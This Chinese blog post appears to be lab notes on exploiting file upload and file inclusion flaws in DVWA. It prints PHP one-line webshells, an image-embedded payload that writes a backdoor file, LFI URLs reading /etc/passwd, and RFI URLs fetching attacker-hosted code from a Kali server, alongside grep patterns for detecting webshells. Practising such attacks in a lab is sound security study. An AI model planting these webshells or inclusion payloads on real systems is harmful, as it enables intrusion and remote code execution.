欢迎大家访问我的GitHub博客
https://lunan0320.github.io/
一、文件上传漏洞
对上传的文件格式之类的没有检测
1、 一句话木马的书写格式
<?php @eval($_POST["myshell"]) ?>
2、正则过滤
egrep -R 'eval\(\$_POST\[' /var/www/dvwa
-R是表示正则展开,egrep表示调用正则表达式,/var是路径
3、自定义过滤
fgrep -R 'eval($_POST[' /var/www
fgrep表示自定义格式过滤
4、连接远程主机
ssh 192.168.13.135
二、文件包含漏洞
没有对包含入的文件做过滤
1、本地文件包含:LFI
http://www.baidu.com/index.php?page=c.php
http://www.baidu.com/index.php?page=u.jpg
http://www.baidu.com/index/php?page=/etc/passwd
2、远程文件包含RFI
http://www.baidu.com/index.php?page=http://webserver/u.php
http://www.baidu.com/index.php?page=http://webserver/f.jpg
** 3、文件包含后台php代码如下:**
<?php
$file=$_GET['page'];
?>
远程文件包含更容易一点
包含图片是为了让图片执行并生成一个webshell
4、本地文件包含漏洞
制作一句话图片木马
1、制作含有一句话木马的图片(使用edjpgcom工具生成)
<?fputs(fopen("lunanshell.php","w"),'<?php @eval($_POST["lunan"]);?>')?>
2、上传含有图片木马的图片1.jpg
3、文件包含,执行文件并生成文件后门
http://192.168.31.138/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/1.jpg
4、蚁剑连接Webshell
后门链接,直接蚁剑连接
http://192.168.31.138/dvwa/vulnerabilities/fi/lunanshell.php
5、远程文件包含漏洞
1、kali开启apache2服务器
systemctl start apache2 #开启命令
systemctl status apache2 #检查是否开启
2、远程服务器上创建木马文件lunan.txt
<?fputs(fopen("kalishell.php","w"),'<?php @eval($_POST["lunan"]);?>') ?>
3、远程文件文件包含
http://192.168.31.138/dvwa/vulnerabilities/fi/?page=http://192.168.31.131/lunan.txt
4、蚁剑连接Webshell
http://192.168.31.138/dvwa/vulnerabilities/fi/kalishell.php